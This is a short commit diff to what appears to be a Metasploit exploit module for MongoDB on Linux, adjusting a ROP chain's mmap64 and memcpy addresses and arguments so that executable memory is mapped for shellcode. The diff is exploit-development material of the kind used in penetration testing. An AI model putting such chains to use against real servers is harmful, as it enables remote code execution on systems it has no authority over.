Resolv a problem with mmap64 libc function and its unknown last argument

Author: agix

modules/exploits/linux/misc/mongod_native_helper.rb

@@ -33,18 +33,18 @@ def initialize(info={})
 						{
 							'Arch' => ARCH_X86,
 							'mmap' => [
-									0x0816f768,	   #mmap_64@plt
-									0x8666d07,    #add esp, 0x14 / pop ebx / pop ebp / ret
-									0x0c0c0000,
+									0x0816f768,	   #mmap64@plt
+									0x8666d07,     #add esp, 0x14 / pop ebx / pop ebp / ret
+									0x31337000,
 									0x00002000,
 									0x00000007,
 									0x00000031,
 									0xffffffff,
 									0x00000000,
-									0x78696761,
+									0x00000000,
 									0x0816e4c8,	   #memcpy@plt
-									0x0c0c0c0c,
-									0x0c0c0000,
+									0x31337000,
+									0x31337000,
 									0x0c0b0000,
 									0x00002000
 							],